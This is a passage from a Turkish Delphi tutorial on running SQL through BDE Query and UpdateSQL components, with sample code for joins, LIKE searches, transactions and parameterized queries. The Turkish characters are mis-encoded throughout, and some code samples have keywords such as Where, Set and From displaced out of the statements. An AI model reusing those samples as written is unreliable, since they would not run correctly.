deneyece÷iz. Aúa÷ıda bu husus örneklendirilmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI=(Select Max(FATURATUTARI) From SERVIS)'); Query1.Open; end; 94 ùimdi de aynı mantı÷ı kullanarak, ortalama fatura tutarının altındakileri listeletelim. Sütun øçerisinde Arama Yapmak(Like): Aranacak içeri÷in çok uzun olması durumunda, veya içeri÷in tam olarak hatırlanamaması gibi durumlarda kullanmanız gereken “SQL” komutudur. Aúa÷ıdaki örnekler tüm kullanım çeúitlerine de÷inmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like "MIGROS"'); Query1.Open; end; 95 Yukarıdaki kriterin MAGAZAADI=”MIGROS” tan hiç bir farkı yoktur. Sadece “MIGROS” ma÷azalarını listelemek için kullanılır. ùayet sorguyu aúa÷ıdaki úekilde joker karakter kullanarak de÷iútirirseniz, o zaman olay çok farklı bir durum alacaktır. Örne÷i dikkatlice inceleyiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like "G%"'); Query1.Open; end; Sonuca dikkat edin “G” ile baúlayan tüm ma÷aza servisleri sorguda gözükmektedir. ùayet hücre de÷erinin herhangi bir parçasına göre aratma yaptıracaksanız o zaman da sorguya ait kodunuzu aúa÷ıdaki úekilde de÷iútirmeniz gerekecektir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like "%G%"'); Query1.Open; end; 96 Sorguda “Like” ile kullanılan kritere dikkat edin, içerisinde “G” harfi olan tüm ma÷aza servisleri listelenmektedir (baúta veya sonda olması önem arz etmemektedir). Burada sadece karakter aratması yaptırmak zorunda de÷ilsiniz Dilerseniz daha de÷iúik úekilde “Like “%MIG%”” yazıp string parçasıda arattırabilirsiniz. øki Tabloyu Aynı Anda Sorgulamak: Tek bir sorgu içerisinde birden fazla tablo verisini birleútirmeniz mümkündür. Dikkat etmeniz gereken bir kaç püf noktası olacak, úimdi bu noktalara dikkatinizi çekmek istiyorum. Birincisi birden fazla tabloyu sorgulayaca÷ınız için sütun isimlerini, baú taraflarına tablo ismini yazarak belirtmelisiniz. Tablo ismiyle sütun ismi arasında “.” Karakteri kullanmalısınız. “MAGAZA.MAGAZAADI” úeklinde yapılacak olan bildirim, Ma÷aza tablosundaki ma÷aza adı sütununu ifade edecektir. “From” komutundan sonra sorguda kullandı÷ınız tüm tablo isimlerini araya “,” koyarak tek tek belirtmelisiniz. Aksi takdirde veri arayaca÷ı tablolarda problem yaúayacaktır. Son adım olarak koúul kısmında, tablolar arasında iliúkili iki sütunu tablo adlarıyla beraber belirtmeniz gerekecektir. Aúa÷ıdaki sorgulamada, “MAGAZA” tablosundaki sütunlar ile “SERVIS” tablosundaki sütunlar arasından seçim yapılmakta, iki tablo arasında “MAGAZAADI” sütun de÷erleri eúleútirilerek aradaki ba÷lantı sa÷lanmaktadır. Uygulamaya ait sorgu sonucu ile sorgu komutları aúa÷ıda verilmektedir. 97 procedure TForm3.FormCreate(Sender: TObject); //Birden fazla tabloyu sorgulamak begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZA.MAGAZAADI, MAGAZA.ADRES, MAGAZA.SEHIR,SERVIS.SERVISTARIHI,SERVIS.FATURATUTARI From MAGAZA,SERVIS Where MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI'); Query1.Open; end; Sonuç penceresinde görüldü÷ü gibi ilk üç sütun “MAGAZA” Tablosundan son iki sütun da “SERVIS” tablosundaki verilerden elde edilmektedir. Aradaki ilúkiyi belirleyen sütun ismi ise “MAGAZAADI” sütunu olmaktadır. Inner Join Komutu øle Koúul Koymak: Bu komut ile farlklı iki tablo içerisinde koúul sutunları ortak olan alanları listelemek için kullanılır. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI, SERVIS.FATURATUTARI From SERVIS INNER JOIN MAGAZA ON(MAGAZA.MAGAZAADI= SERVIS.MAGAZAADI)'); Query1.Open; end; 98 Yukarıdaki SQL komutları iúletildikten sonra tablo görüntünüz aúa÷ıdaki úekilde gerçekleúecektir. Kayıtlara dikkat edecek olursanız, listelenen sütunların “SERVIS” tablosuna ait olduklarını hemen farlk edeceksiniz. Peki ama “SERVIS” tablosundaki hangi kayıtlar listelenmiútir. Bu úart “Inner Join” komutundan sonraki bölümde belirtilen “MAGAZA” tablosundaki ma÷aza isimlerine ait servis bilgileri olarak gerçekleúecektir. Outer Join Komutu øle Koúul Koymak: Farklı iki tabloda aynı olan sütunlar için birincide yer alıp ikincide bulunmayan kayıtları listelemek için kullanılan komuttur. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI, SERVIS.FATURATUTARI From SERVIS LEFT OUTER JOIN MAGAZA ON(MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI)'); Query1.Open; end; Yukarıdaki “SQL” sogusunu içeren programı çalıútırırsanız aúa÷ıdaki úekilde kayıtların yer aldı÷ı bir tablo görüntüsüyle karúılaúırsınız. 99 veya procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI,SERVIS.FATURATUTARI From SERVIS RIGHT OUTER JOIN MAGAZA ON(MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI)'); Query1.Open; end; Bu sorguda “RIGHT OUTER JOIN” kullanıldı÷ına dikkat ediniz. Programı çalıútırdıktan sonraki tablo görüntünüz yukarıda verilmiútir. 100 Union Komutunu Kullanarak Tabloları Birleútirmek: Bu komutu kullanarak iki farklı select yapısı oluúturabilirsiniz. Oluúturaca÷ınız iki sorguya ait kayıtlar alt alta eklenerek tek tabloda gösterilecektir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZA.MAGAZAADI UNION Select SERVIS.MAGAZAADI From SERVIS'); Query1.Open; end; From MAGAZA 101 Tablo Yapısında De÷iúiklik Yapan Sorgular: ùu ana kadar yapmıú oldu÷umuz tüm sorgular seçme sorgularıydı ve “Select” ifadesiyle baúlıyorlardı. Bu tür seçme sorguları tablo yapısında herhangi bir de÷iúiklik yapmazlar. Sadece iúimize yarayacak olan kayıtları listeleme iúleminde kullanılırlar.Bu aúamadan sonraki sorgu komutları ise direk tablo da de÷iúiklik yapacaklardır, bu yüzden komutları kullanırken çok dikkatli olmanız gerekecektir. Aúa÷ıda tablo yapısında de÷iúiklik yapacak olan sorgular tek tek incelenmektedir. Sorgu ile kayıtlar üzerinde de÷iúiklik yapmak için (ekleme,silme,de÷iútirme) “UPDateSQL” kontrolü kullanılmaktadır. UpdateSQL Kontrolü: “BDE” Yapra÷ında bulunan bu kontrol sayesinde, “SQL” komutlarını kullanarak tablonuzda istedi÷iniz iúlemi yapabilirsiniz. Kayıt ekleme,silme veya kayıt de÷iútirme iúlemleri için kullanılmaktadır. x UpdateSQL1.DeleteSQL.Add Tablodan kayıt silmek için kullanaca÷ınız “SQL” komutunu bu özelli÷e aktarmalısınız. procedure TForm4.Button3Click(Sender: TObject); //Kayıt Sil begin UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA MAGAZAADI="MIGROS"'); end; Where x UpdateSQL1.ExecSQL() SQL Komutunu yazmak kaydın silinmesi için yeterli de÷ildir. Ayrıca sorgu komutunu uygulamak için bu methoda ihtiyacınız olacaktır. procedure TForm4.Button3Click(Sender: TObject); begin UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA MAGAZAADI="MIGROS"'); UpdateSQL1.ExecSQL(ukDelete);//Uygula end; 102 Where Sorguyla Kayıt Silmek(Delete): Aúa÷ıdaki örnekte sorgu komutları kullanılarak tablodan kayıt silinmektedir. Silinen kayıtlar úayet Trasaction kullanılmazsa artık geriye alınamayacaktır. Hatırlatalım sorguyla kayıt silme iúleminde kritere uyan tüm kayıtlar silinecektir. Öncelikle verilen tasarımı oluúturunuz. “Query-DataSource-DataGrid” nesneleri için daha önceden gösterilen ayarları yaparak “MAGAZA” tablosundaki tüm kayıtların “DataGrid” nesnesinde gösterilmesini sa÷layın. Daha sonra formun üzerine bir adet “BDE” Yapra÷ında yer alan (“Transaction” iúlemi için) “DataBase” kontrolünden yerleútirin (hiç bir özelli÷ini de÷iútirmenize gerek yok tamamını kodla yapaca÷ız). Son adım olarak formunuza bir adet “BDE” Yapra÷ında yer alan “UpdateSQL” kontrolünden yerleútirerek aúa÷ıdaki kodları programınıza ekleyiniz. Burada hatırlatmakta yarar var. øster kodla yapın (kodu her zaman tercih etmelisiniz), isterseniz “Object Inspector” penceresinden, “UpdateSQL” kontrolüne eklenecek sorgu komutunun (ekleme-silme-de÷iútirme) hangi “Query” kontrolünün gösterdi÷i tabloya yansıyaca÷ı “UpdateObject” özelli÷iyle belirlenmelidir. Aksi takdirde yapaca÷ınız iúlemlerden bir sonuç alamayacaksınız. 103 procedure TForm4.FormCreate(Sender: TObject); //Kontrolleri ayarla begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayın Query1.UpdateObject:= UpdateSQL1;//yapın Query1.Open; end; procedure TForm4.Button3Click(Sender: TObject); //Sil begin Query1.CachedUpdates:=true; //kesinlikle yapın Try //hata oluúmazsa sil UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA MAGAZAADI="MIGROS"'); UpdateSQL1.ExecSQL(ukDelete);//Uygula Database1.Commit;//Tabloya yaz ShowMessage('Kayıt silindi'); Except//Hata oluúursa iptal et Database1.Rollback;//iptal et ShowMessage('Silme øúlemi øptal Edildi'); end; end; 104 Where procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa baúlat Database1.StartTransaction;//Transactionu baúlat end; Programı çalıútırıp “Sil” Buttonuna tıklarsanız “MIGROS” Ma÷azasına ait kaydın silindi÷ini göreceksiniz. En son ekran görüntüsü aúa÷ıda verilmiútir. x UpdateSQL1.InsertSQL.Add Kayıt ekleme iúlemi için kullanaca÷ınız SQL Sorgusunu bu özelli÷e aktarmalısınız. procedure TForm4.Button2Click(Sender: TObject); //Ekle begin UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA(MAGAZAADI,ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI","2163521425","YUKSEL INAN","ISTANBUL")'); end; Yukarıdaki kod blo÷u kayıt eklemek için yeterli de÷ildir. Kayıt silme iúleminde yaptı÷ımız gibi aúa÷ıdaki parametreyede de÷er aktarmamız gerekecektir. 105 x UpdateSQL1.ExecSQL(ukInsert) Sorgu komutunun tabloya yansımasını sa÷layan methodudur. Kayıt ekleme iúlemi yapıldı÷ı için “ukInsert” parametresinin aktarılması gerekmektedir. procedure TForm4.Button2Click(Sender: TObject); begin UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA (MAGAZAADI, ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI", "2163521425","YUKSEL INAN","ISTANBUL")'); UpdateSQL1.ExecSQL(ukInsert);//tabloya yansıt end; Sorguyla Tabloya Kayıt Eklemek: Aúa÷ıdaki kod blo÷unu kullanarak kolayca tablonuza kayıt ekleyebilirsiniz. Örne÷i lütfen dikkatlice inceleyiniz. procedure TForm4.FormCreate(Sender: TObject); //Bu ayarları yapın begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayın Query1.UpdateObject:=UpdateSQL1;//yapın Query1.Open; end; procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa baúlat Database1.StartTransaction;//Baúlat end; procedure TForm4.Button2Click(Sender: TObject); begin Query1.CachedUpdates:=true; //kesinlikle yapın try UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA(MAGAZAADI,ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI","2163521425","YUKSEL INAN","ISTANBUL")'); UpdateSQL1.ExecSQL(ukInsert);//tabloyayansıt Database1.Commit;//Uygula ShowMessage('Kayıt Eklendi'); 106 except Database1.Rollback;//iptal et ShowMessage('Ekleme øúlemi øptal Edildi'); end; end; Programı çalıútırıp “Ekle” isimli buttona tıklarsanız yukarıdaki pencerede oldu÷u gibi (daha önceden silmiútik)“MIGROS” kaydı tekrar tabloya eklenecektir. x UpdateSQL1.ModifySQL.Add Kayıt de÷iútirme iúlemini gerçekleútirebilmeniz için gerekli “SQL” kodunu aktarabilece÷iniz özelli÷idir. procedure TForm4.Button4Click(Sender: TObject); begin UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); end; Yukarıdaki SQL komutu sayesinde tablodaki tüm “SOK” ma÷azaları “BAKKALIM” olarak de÷iúecektir. Yanlız aúa÷ıdaki parametreyide di÷erlerinde oldu÷u gibi eklemelisiniz. 107 x UpdateSQL1.ExecSQL(ukModify) SQL komutunun tabloya yansıması için gerekli olan parametresidir. Kayıt de÷iútirme iúlemi yapaca÷ı için “ukModify” de÷eri aktarılmıútır. procedure TForm4.Button4Click(Sender: TObject); begin UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify);//tabloya yansıt end; ùimdi de yukarıdaki tasarımımız için “De÷iútir” dü÷mesinin kodunu verelim. procedure TForm4.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayın Query1.UpdateObject:=UpdateSQL1;//yapın Query1.Open; end; procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa baúlat Database1.StartTransaction; end; procedure TForm4.Button4Click(Sender: TObject); //De÷iútir begin Query1.CachedUpdates:=true; //kesinlikle yapın try UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify);//De÷iúikli÷i yansıt Database1.Commit;//Uygula ShowMessage('Kayıt De÷iútirildi'); except Database1.Rollback;//iptal et ShowMessage('De÷iútirme øúlemi øptal Edildi'); end; end; 108 Programı çalıútırıp “De÷iútir” isimli buttona tıklarsanız aúa÷ıdaki pencerede gösterildi÷i gibi “SOK” isimli ma÷azalar “BAKKALIM” ismiyle de÷iútirilecektir. ùimdide programa ait tüm kod blo÷unu aúa÷ıda veriyorum. Örne÷i çok dikkatlice inceleyiniz. procedure TForm4.FormCreate(Sender: TObject); //Bu ba÷lantıları yapın begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayın Query1.UpdateObject:=UpdateSQL1;//yapın Query1.Open; Query1.CachedUpdates:=true; //kesinlikle yapın end; procedure TForm4.Button3Click(Sender: TObject); //Sorguyla Kayıt Sil begin try UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA Where MAGAZAADI="MIGROS"');//Ma÷aza adı MIGROS olanları sil UpdateSQL1.ExecSQL(ukDelete);//Tabloya yansız Database1.Commit;//Uygula 109 ShowMessage('Kayıt silindi'); except Database1.Rollback;//iptal et ShowMessage('Silme øúlemi øptal Edildi'); end; end; procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa baúlat Database1.StartTransaction;//Transactionu baúlat end; procedure TForm4.Button2Click(Sender: TObject); begin try UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA(MAGAZAADI,ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI","2163521425","YUKSEL INAN","ISTANBUL")'); UpdateSQL1.ExecSQL(ukInsert);//Ekle Database1.Commit;//Uygula ShowMessage('Kayıt Eklendi'); except Database1.Rollback;//iptal et ShowMessage('Ekleme øúlemi øptal Edildi'); end; end; procedure TForm4.Button4Click(Sender: TObject); begin try UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify); Database1.Commit;//Uygula ShowMessage('Kayıt De÷iútirildi'); except Database1.Rollback;//iptal et ShowMessage('De÷iútirme øúlemi øptal Edildi'); end; end; Programı çalıútırıp tüm dü÷meleri teker teker deneyin. Tamamının baúarılı bir úekilde gerçekleúti÷ini göreceksiniz. Yaptı÷ınız iúlemden sonra “DataGrid” nesnesi içerisinde verilerin güncellenmedi÷i (Kapatıp açarsanız güncellenir) 110 dikkatinizi çekmiú olmalıdır. Bu eksikli÷i gidermek için aúa÷ıdaki gibi iki satırlık kodu eklerseniz probleminiz hallolacaktır. procedure TForm4.Button4Click(Sender: TObject); begin Query1.CachedUpdates:=true; //kesinlikle yapın try UpdateSQL1.ModifySQL.Add('Update MAGAZA MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify); Database1.Commit;//Uygula Query1.Close; Query1.Open;//kayıtların güncellenmesi içinekleyin ShowMessage('Kayıt De÷iútirildi'); except Database1.Rollback;//iptal et ShowMessage('De÷iútirme øúlemi øptal Edildi'); end; end; Set Ben sadece “Kayıt De÷iútirme” iúlemine ekledim. Siz di÷er üç dü÷meye daha ekleyebilirsiniz. 111 Query Kontrolüne Parametre De÷eri Göndermek: Ço÷u durumda tablonuzda yer alan tüm kayıtları de÷ilde, sadece sizin iúinize yarayan kayıtları listelemek isteyeceksiniz. Böyle durumlarda “Query” kontrolüne bana sadece gönderece÷im parametre de÷erine uyanları listele demelisiniz. Bu iúlemi yapmak hiçte zor de÷il. øúin içerisine parametre de÷eri girdi÷i zaman aúa÷ıdaki özellik ve methodlarıda ö÷renmeniz gerekmektedir. x Query1.SQL.Clear Var olan “Query” yi kapatıp tüm parametreleri temizlemek için kullanılan methoddur. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin Query1.SQL.Clear;//parametreleri temizle end; x Query1.SQL.Add Bu method daha önceden anlatılmıútı. Fakat burada hem sorguyu hemde parametreyi yarataca÷ımız için tekrar göstermemiz gerekiyor. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); end; end; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Kod satırında yer alan (Where MAGAZAADI=:MAG) bölümü hem parametreyi hemde sorgu koúulunu belirlemektedir. Daha sonraki adımlarda bu parametreye programınızın içerisinden kolayca de÷er gönderebilirsiniz. Sorgu içerisinde parametre belirlemek için “=:” karakterleri kullanılmaktadır (aslında buradaki = kendi görevini yapıyor ama beraber düúünmenizin bir sakıncası yor). ølk parametreyi “params[0]” veya ismi ile kullanabilirsiniz. økinci parametreyi yaratırsanız oda params[1] olacaktır. 112 x Query1.Params[] Sogu komutu içerisinde yaratılan parametrelere de÷er göndermek için kullanılan methoddur. Oluúturulma sırasına göre ilk parametre “Params[0]” ikinci parametrede “Params[1]” de÷iúkenleriyle adlandırılacaktır. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear;//temizle Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text;//parametreye de÷er al end; end; ùimdi aúa÷ıdaki tasarımı oluúturup (“Query kontrolüyle oluúturun) yukarıdaki özellik ve methodları örnek üzerinde deneyelim. procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); 113 begin if Key=#13 Then//enter tuúuna basarsa begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text;//parametreye de÷er yolla Query1.Open; end; end; Kodları ekleyip programızı çalıútırın. “Edit” kontrolüne ma÷aza ismini girip “Enter” tuúuna basın. Girdi÷iniz de÷er parametre olarak sorguya gönderilecek, yazdı÷ınız ma÷aza ismini ait kayıtlar listelenecektir. x Query1.ParamByName “Params[]” de÷iúkeni yerine bu özelli÷i kullanarak ta sorgunuza parametre de÷eri gönderebilirsiniz. Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.ParamByName('MAG').AsString:=Edit1.Text; Yukarıdaki örnekte yer alan kodu aúa÷ıdaki úekilde de÷iútirip uygulamanızı yeniden çalıútırın. procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.ParamByName('MAG').AsString:=Edit1.Text; Query1.Open; end; end; 114 Parametre Olarak Tarih øçerikli De÷iúken Kullanmak: Parametre olarak kullanaca÷ınız de÷iúkenin de÷eri tarih içerikli olacak ise o zaman kodlamanızı aúa÷ıdaki úekilde de÷iútirmelisiniz. procedure TForm2.FormCreate(Sender: TObject); //Ba÷lantı iúlemleri yapılıyor begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit2KeyPress(Sender: TObject; var Key: Char); //Tarih de÷iúkenine göre sorgula begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where SERVISTARIHI>=:SER'); Query1.ParamByName('SER').AsDate:=StrToDate(Edit2.Text); Query1.Open; end; end; Programı çalıútırıp “Edit” kontrolüne koúul tarihinizi girip “Enter” tuúuna basın. Girdi÷iniz tarihten sonra yapılmıú olan tüm servisler listelenecektir. 115 Parametre Olarak Parasal øçerikli De÷iúken Kullanmak: Parametre de÷eri olarak parasal de÷er kullanacaksanız, aúa÷ıdaki úekilde bir kodlama yapmalısınız. procedure TForm2.FormCreate(Sender: TObject); //Ba÷lantı için gerekli olan kod satırları begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit3KeyPress(Sender: TObject; var Key: Char); //Parametreye göre sorgula begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT'); Query1.ParamByName('FAT').AsCurrency:=StrToCurr(Edit3.Text); Query1.Open; end; end; 116 Birden Fazla Parametre De÷eri Göndermek: Oluúturaca÷ınız sorguda birden fazla parametre de÷eri kullanacaksanız. Aúa÷ıdaki úekilde bir kodlama kullanmalısınız. procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Button1Click(Sender: TObject); begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT and FATURATUTARI<=:FAT2'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text);//ilk parametre Query1.Params[1].AsCurrency:=StrToCurr(Edit4.Text);//ikinci parametre Query1.Open; end; Programı çalıútırıp “Edit” kontrollerine parasal içerikleri girin. Ardından “Göster” isimli buttona tıklayın. Sadece yazmıú oldu÷unuz kriterlerin arasındaki fatura tutarları listelenecektir. Di÷er fatura tutarlarına ait satırlar listelenmeyecektir. 117 Opsiyonel Parametreli Sorgu Oluúturmak: Bu bölümde yine sorgumuz için iki adet “Edit” kontrolü kullanaca÷ız. Fakat içlerinden bir tanesi boú oldu÷u zaman di÷er parametreye göre, ikiside dolu olursa iki kriteride dikkate alarak sorgulama yapaca÷ız. Öncelikle aúa÷ıdaki tasarımı oluúturunuz. procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Button2Click(Sender: TObject); //opsiyonel sorgulama begin if (Edit3.Text='') and (Edit4.Text='') Then ShowMessage('Lütfen En Az Bir Parametre Giriniz') else if Edit3.Text='' Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI<=:FAT'); Query1.Params[0].AsCurrency:=StrToCurr(Edit4.Text); Query1.Open; end else if Edit4.Text='' Then begin 118 Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text); Query1.Open; end else begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT and FATURATUTARI<=:FAT2'); Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text); Query1.Params[1].AsCurrency:=StrToCurr(Edit4.Text); Query1.Open; end; end; Programı çalıútırın. ùayet iki “Edit” kutusuda boú bırakılırsa “Lütfen En Az Bir Parametre Giriniz” uyarısı kullanıcıya iletilecektir. ùayet birinci kontrol doldurulup ikincisi boú bırakılırsa bu durumda ikinci kontrol hiç dikkate alınmayacak, birinci parametre de÷erinin üzerinde fatura tutarı olan kayıtlar listelenecektir. Aynı úekilde birinci kontrol boú bırakılıp ikinci parametre de÷eri girilirse o zaman birinci parametre dikkate alınmayarak sadece ikinci parametreye aktarılan tutarın altındaki kayıtlar listelenecektir. E÷er iki parametreyede de÷er girilirse bu defa parametre de÷erlerinin arasındaki fatura tutarlarının yer aldı÷ı kayıtlar listelenecektir. 119 Parametreyi “Like” Komutuyla Beraber Kullanmak: String içerikli sütunlar içerisinde metin parçası aratabilirsiniz. Bilhassa sözlük türü uygulamaların örnek gösterilebilece÷i bu yapı yeri geldi÷i zaman çok kullanıúlı olabilmektedir. Aúa÷ıdaki örnekte “Edit” kontrolü içerisine girilen metin parçası “MAGAZAADI” sütunu içerisinde aratılmaktadır. procedure TForm2.Edit1Change(Sender: TObject); begin Query1.SQL.Clear; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like:MAG'); Query1.Params[0].AsString:=Edit1.Text+'%'; Query1.Open; end; Bu örnekte “G” harfine basıldı÷ı zaman “G” ile baúlayan tüm ma÷aza isimleri listelenmektedir (GIMA-GURALLAR-GURSOYLAR). “I” harfinede basılırsa sadece “GIMA” ma÷azasına yapılmıú servisler listelenecektir. ùayet herhangi bir yerinde arama yaptıracaksanız kodu aúa÷ıdaki úekilde de÷iútiriniz. procedure TForm2.Edit1Change(Sender: TObject); begin Query1.SQL.Clear; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like:MAG'); Query1.Params[0].AsString:='%'+Edit1.Text+'%';//% joker olarak kullanılır. Query1.Open; end; 120 BÖLÜM 3 TABLOLAR ARASI øLøùKøLENDøRME 121 122 Birden Fazla Tablo øle Çalıúmak: Çok fazla sütuna sahip tablolar yerine, daha az sütunlu ve fazla tablo ile (tabiiki mümkün olabiliyor ise) çalıúmak performansınızı etkileyen çok önemli bir faktördür. Tabloları bölme iúlemi rasgeli bir úekilde yapılamaz. Dikkat etmeniz gereken hususlar olacaktır. Böldü÷ünüz iki tablo arasında iliúki kurabilece÷iniz bir sütunun muhakkak olması gerekecektir. Ayrıca iliúki yarataca÷ınız sütunların iki tabloda da indexlenmesi gerekecektir. (Index lerin Primary veya Secondary olması önem arz etmez. Ama genellikle statik bilgilerin yer aldı÷ı tabloda primary, dinamik bilgilerin yer aldı÷ı tabloda da secondary index kullanmak en iyi ve do÷ru çözümdür (Bu tür iliúkiler Bire-Çok lu iliúki olarak adlandırılmaktadır). ùimdi aúa÷ıdaki iki tabloyu oluúturarak, iliúkili tablolarda iúlemlerin nasıl yaptırılabilece÷ini açıklayalım. Tablo1:MAGAZA TABLOSU Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) MAGAZAADI A 25 ADRES A 25 TELEFON A 15 MUDUR A 25 SEHIR A 25 Key(Primary ind) * Tablo2:SERVIS TABLOSU Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) SIRANO + Otomatik artar MAGAZAADI A 25 SERVISTARIHI D GIDENFIRMA A 25 ARIZASEBEBI A 25 FATURATUTARI $ Key(Primary ind) * Secondary Index Yukarıdaki iki tablo yerine tek bir tablo yapsaydınız, bir çok sütuna gereksiz verileri girmiú olacaktınız, haliylede hem sıkıcı olacaktı, hemde tablonuzu boú yere úiúirmiú olacaktınız. Tabloların fazla büyümesi performansı etkileyen çok önemli bir faktördür. øki adet tablomuz var. Bu tablolardan birincisi ma÷azalara ait statik bilgilerin tutuldu÷u ve ma÷aza adının “Primary” index olarak tanımlandı÷ı “MAGAZA” tablosu. økincisi ise ma÷azalara ait dinamik bilgilerin yer aldı÷ı ve ma÷aza adı sütununun “Secondary” index olarak tanımlandı÷ı “SERVIS” tablosu. Bu iki 123 tablo arasında indexli sütunlar kullanılarak “Master-Detail” form yapısı oluúturulacaktır (iliúki yaratılacaktır). Uyarı:Paradox tablolarında “primary” index oluúturmadan “secondary” index yaratamazsınız. Aúa÷ıdaki adımları izleyiniz. “File->New-Other” adımlarını izleyerek açılan pencereden 